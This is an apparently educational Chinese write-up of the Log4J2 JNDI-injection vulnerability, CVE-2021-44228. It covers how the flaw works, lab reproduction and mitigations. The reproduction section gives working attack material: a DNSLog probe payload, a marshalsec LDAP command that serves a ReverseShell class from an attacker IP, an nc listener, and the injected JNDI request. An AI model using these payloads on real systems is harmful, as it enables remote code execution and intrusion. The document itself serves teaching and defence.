Log4J2漏洞原理详解及复现
字数 1329 2025-08-11 00:55:10
Log4J2漏洞原理详解及复现教学文档
一、漏洞概述
Log4J2漏洞(CVE-2021-44228)是Apache Log4j2日志组件中存在的一个严重远程代码执行漏洞。该漏洞允许攻击者通过构造特定的恶意日志数据触发JNDI注入,从而在目标系统上执行任意代码。
二、环境搭建
1. 实验环境准备
使用vulhub环境进行搭建:
docker-compose up -d
搭建完成后,访问8983端口验证环境是否成功启动。
三、漏洞原理详解
1. Log4J2基本功能
- Apache Log4J2是Java生态中广泛使用的开源日志记录库
- 提供
logger.info()、logger.error()等日志记录函数 - 支持
{}占位符传参,如logger.info("{}", input)
2. 漏洞触发机制
- Log4J2会对
{}中的内容进行解析而非直接输出 - 当输入为
${java:version}时,会输出Java版本而非字符串本身 - 这种机制类似于服务器端模板注入(SSTI)
3. JNDI注入漏洞
- 当用户输入可控且未经过滤时,可构造恶意输入
- 使用
${jndi:ldap://}或${jndi:rmi://}协议 - 系统会尝试从远程LDAP/RMI服务器加载恶意类并执行
四、漏洞复现步骤
1. 漏洞探测
- 构造探测Payload:
${jndi:ldap://${java:version}.xxx.dnslog.cn} - 观察DNSLog平台是否收到包含Java版本的请求
- 如收到,则证明漏洞存在且可利用
2. JNDI远程加载部署
-
使用marshalsec工具开启LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://攻击者IP/#ReverseShell' 99999999为LDAP服务端口ReverseShell为恶意类名
-
在Kali上监听反弹Shell端口:
nc -lvnp 4444 -
发送攻击Payload:
/admin/cores?action=${jndi:ldap://攻击者IP:9999/ReverseShell} -
观察LDAP和HTTP请求,确认是否成功获取反弹Shell
五、漏洞防御措施
1. 升级方案
- 升级Log4J2到2.15.0-rc1或更高版本
- 官方后续版本已默认禁用JNDI查找功能
2. 临时缓解措施
- 设置系统环境变量:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true - 修改JVM参数:
-Dlog4j2.formatMsgNoLookups=true
3. 输入过滤
- 对用户输入进行严格过滤
- 过滤
jndi、rmi、ldap等敏感字符串 - 实现输入内容的白名单验证机制
六、技术要点总结
- 漏洞本质:Log4J2的Lookup功能与JNDI注入的结合
- 关键点:
- 用户输入直接进入日志记录函数
- Log4J2默认解析
${}表达式 - JNDI支持从远程加载代码执行
- 影响范围:所有使用受影响版本Log4J2的Java应用
- 危害等级:高危远程代码执行漏洞
七、扩展知识
-
JNDI(Java Naming and Directory Interface):
- Java提供的命名和目录服务API
- 支持多种协议包括LDAP、RMI、DNS等
- 允许动态加载远程对象
-
LDAP与RMI区别:
- LDAP通常使用389端口,基于目录服务协议
- RMI使用随机端口,基于Java远程方法调用
- 本案例使用LDAP作为示例
-
漏洞变种:
- 后续发现的CVE-2021-45046等衍生漏洞
- 不同版本的缓解措施可能有所不同
通过本教学文档,您应该已经全面了解了Log4J2漏洞的原理、复现方法和防御措施。在实际应用中,建议定期检查组件版本并及时更新,以防范此类高危漏洞。